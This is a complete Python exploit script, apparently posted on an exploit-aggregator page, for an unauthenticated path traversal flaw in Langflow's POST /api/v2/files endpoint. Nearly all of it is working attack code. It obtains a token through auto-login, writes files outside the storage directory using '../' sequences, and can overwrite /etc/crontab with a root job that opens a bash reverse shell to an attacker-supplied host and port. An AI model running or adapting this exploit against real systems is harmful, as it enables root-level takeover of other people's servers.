Share
## https://sploitus.com/exploit?id=PACKETSTORM:218304
#!/usr/bin/env python3
    """
    Langflow <= 1.8.4 - Arbitrary File Write to RCE via Path Traversal (CVE-2026-5027)
    
    Description:
        The POST /api/v2/files endpoint does not sanitize the 'filename' parameter
        from the multipart form data, allowing an attacker to write files to arbitrary
        locations on the filesystem using path traversal sequences ('../').
    
        When Langflow runs with auto-login enabled (default configuration), this
        vulnerability is exploitable WITHOUT authentication. An unauthenticated
        attacker can write arbitrary files to the server, leading to Remote Code
        Execution via cron jobs, SSH authorized_keys, or webshells.
    
        The vulnerability exists in upload_user_file() which passes file.filename
        directly to LocalStorageService.save_file() without path sanitization.
    
    Affected: Langflow <= 1.8.4 (and likely all prior versions)
    Vendor: https://github.com/langflow-ai/langflow (50K+ stars)
    Advisory: https://www.tenable.com/security/research/tra-2026-26
    Impact: Unauthenticated Remote Code Execution (default config)
    CVSS: 8.8 (HIGH) - AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    CWE: CWE-22 (Path Traversal)
    
    Exploit Author: Yahia Hamza (https://yh.do)
    """
    
    import warnings
    warnings.filterwarnings("ignore")
    import requests
    import sys
    import argparse
    import time
    
    BANNER = """
     โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
     โ•‘   CVE-2026-5027 โ€” Langflow Path Traversal to RCE            โ•‘
     โ•‘   Arbitrary File Write via POST /api/v2/files               โ•‘
     โ•‘                                                             โ•‘
     โ•‘   Affected: Langflow <= 1.8.4                               โ•‘
     โ•‘   Impact:   Unauthenticated RCE (default config)            โ•‘
     โ•‘   CVSS:     8.8 (HIGH)                                      โ•‘
     โ•‘                                                             โ•‘
     โ•‘   Exploit Author: Yahia Hamza (https://yh.do)               โ•‘
     โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    """
    
    
    def get_token(target):
        """Get access token via auto-login (default config)."""
        try:
            r = requests.get(f"{target}/api/v1/auto_login", timeout=10, verify=False)
            if r.status_code == 200:
                token = r.json().get("access_token")
                if token:
                    return token, "auto-login (unauthenticated)"
        except:
            pass
        return None, None
    
    
    def login_with_creds(target, username, password):
        """Authenticate with credentials."""
        try:
            r = requests.post(f"{target}/api/v1/login", json={
                "username": username,
                "password": password,
            }, timeout=10, verify=False)
            if r.status_code == 200:
                return r.json().get("access_token"), "credentials"
        except:
            pass
        return None, None
    
    
    def write_file(target, token, remote_path, content):
        """Write arbitrary content to a path on the server via path traversal."""
        headers = {"Authorization": f"Bearer {token}"}
        traversal = "../" * 9
        filename = traversal + remote_path.lstrip("/")
    
        files = {'file': (filename, content, 'application/octet-stream')}
        r = requests.post(f"{target}/api/v2/files", headers=headers, files=files,
                          timeout=15, verify=False)
        return r.status_code in (200, 201), r
    
    
    def exploit(target, username=None, password=None, lhost=None, lport=None):
        """Full exploitation chain."""
        print(BANNER)
        target = target.rstrip('/')
    
        # Step 1: Obtain access token
        print("[*] Step 1: Obtaining access token...")
        if username and password:
            token, method = login_with_creds(target, username, password)
        else:
            token, method = get_token(target)
    
        if not token:
            print("[-] Authentication failed.")
            sys.exit(1)
        print(f"[+] Token obtained via {method}")
        print(f"    {token[:40]}...")
    
        # Step 2: Deploy payload via path traversal (single write to avoid filename dedup)
        if lhost and lport:
            print(f"\n[*] Step 2: Deploying reverse shell via path traversal...")
            cron = f"""SHELL=/bin/bash
    PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'
    """
            ok, r = write_file(target, token, "/etc/crontab", cron.encode())
    
            if ok:
                resp = r.json()
                print(f"[+] Path traversal confirmed โ€” file written outside storage directory")
                print(f"    Server path: {resp.get('path', '')}")
                print(f"[+] Cron job deployed to /etc/crontab")
                print(f"[+] Shell incoming on {lhost}:{lport} within 60 seconds")
            else:
                print(f"[-] Exploit failed: HTTP {r.status_code}")
                print(f"    {r.text[:200]}")
                sys.exit(1)
        else:
            print(f"\n[*] Step 2: Writing proof file via path traversal...")
            proof = f"CVE-2026-5027 | Langflow RCE | {time.strftime('%Y-%m-%d %H:%M:%S')}".encode()
            ok, r = write_file(target, token, "/tmp/CVE-2026-5027-proof.txt", proof)
    
            if ok:
                resp = r.json()
                print(f"[+] Path traversal confirmed โ€” file written outside storage directory")
                print(f"    Server path: {resp.get('path', '')}")
                print(f"[+] Proof written to /tmp/CVE-2026-5027-proof.txt")
            else:
                print(f"[-] Exploit failed: HTTP {r.status_code}")
                sys.exit(1)
    
        # Summary
        print(f"\n{'='*65}")
        print(f" EXPLOIT COMPLETE")
        print(f"{'='*65}")
        print(f" Target:     {target}")
        print(f" CVE:        CVE-2026-5027")
        print(f" Auth:       {method}")
        print(f" Impact:     Arbitrary File Write โ†’ RCE as root")
        if lhost and lport:
            print(f" Shell:      {lhost}:{lport}")
        print(f"{'='*65}")
    
    
    def main():
        parser = argparse.ArgumentParser(
            description="CVE-2026-5027 โ€” Langflow Path Traversal to RCE",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""Examples:
      %(prog)s -t http://target:7860
      %(prog)s -t http://target:7860 -u admin -p password
      %(prog)s -t http://target:7860 --lhost 10.0.0.1 --lport 4444
    """,
        )
        parser.add_argument("-t", "--target", required=True, help="Langflow URL")
        parser.add_argument("-u", "--username", help="Username (optional if auto-login enabled)")
        parser.add_argument("-p", "--password", help="Password")
        parser.add_argument("--lhost", help="Listener IP for reverse shell")
        parser.add_argument("--lport", type=int, help="Listener port for reverse shell")
        args = parser.parse_args()
    
        exploit(args.target, args.username, args.password, args.lhost, args.lport)
    
    
    if __name__ == "__main__":
        main()